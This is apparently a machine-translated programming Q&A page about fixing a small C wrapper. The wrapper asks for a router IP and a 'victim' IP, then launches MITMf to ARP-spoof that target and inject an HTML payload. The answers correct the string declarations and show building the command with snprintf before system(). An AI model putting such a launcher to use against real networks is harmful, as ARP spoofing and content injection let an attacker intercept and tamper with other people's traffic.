我想编写一个小脚本,以便更快地启动另一个程序,也因为我总是不匹配启动语法。我在C中编写了以下脚本 - 我想我不能解释它。只需几次扫描输入并启动脚本。
#include <stdio.h>
int main() {
char *RHOST[256];
char *ROUTER[256];
printf("Bitte IP des Router eingeben: ");
scanf("%s",&ROUTER);
printf("Bitte IP des Opfers eingeben: ");
scanf("%s",&RHOST);
//printf("Du willst über den Router %s die Pakete von %s spoofen?\n",ROUTER,RHOST);
system("gnome-terminal -x sh -c \"mitmf --spoof --arp -i wlan0 --target %s --gateway %s --inject --html-payload \"any useful stuff\"; cat\"", RHOST, ROUTER);
}
问题是,当我想启动脚本时,我收到以下错误
Traceback (most recent call last):
File "./mitmf.py", line 113, in <module>
p.initialize(args)
File "/usr/share/mitmf/plugins/Spoof.py", line 65, in initialize
self.routermac = getmacbyip(self.gateway)
File "/usr/lib/python2.7/dist-packages/scapy/layers/l2.py", line 53, in getmacbyip
tmp = map(ord, inet_aton(ip))
socket.error: illegal IP address string passed to inet_aton
我猜,我没有格式化ip地址输入正确,请你告诉我怎么做?提前致谢
答案 0 :(得分:1)
你已经制作了RHOST和ROUTER字符串数组。让它们成为char数组。请注意,您输入的字符不得超过255个 系统还将字符串作为参数,您提供3个参数。最后2个将被忽略。你将做两件事之一。将system()中的字符串连接到RHOST和ROUTER或sprintf RHOST和ROUTER连接到system()的字符串中,并将其用于system()调用。
答案 1 :(得分:1)
您声明RHOST
和ROUTER
的方式是指向char
的指针数组,而不是char
的数组,这可能是您想要的。他们应该这样声明:
char RHOST[256];
char ROUTER[256];
调用scanf
时,%s
格式字符串需要char *
或char
数组:
scanf("%s",ROUTER);
此外,system
函数只接受一个参数。它没有printf
样式替换。您应该首先使用snprintf
在单独的字符串中组合命令,然后将该字符串传递给system
。
char command[1000];
snprintf(command, 1000, "gnome-terminal -x sh -c \"mitmf --spoof --arp -i wlan0 --target %s --gateway %s --inject --html-payload \"any useful stuff\"; cat\"", RHOST, ROUTER);
system(command);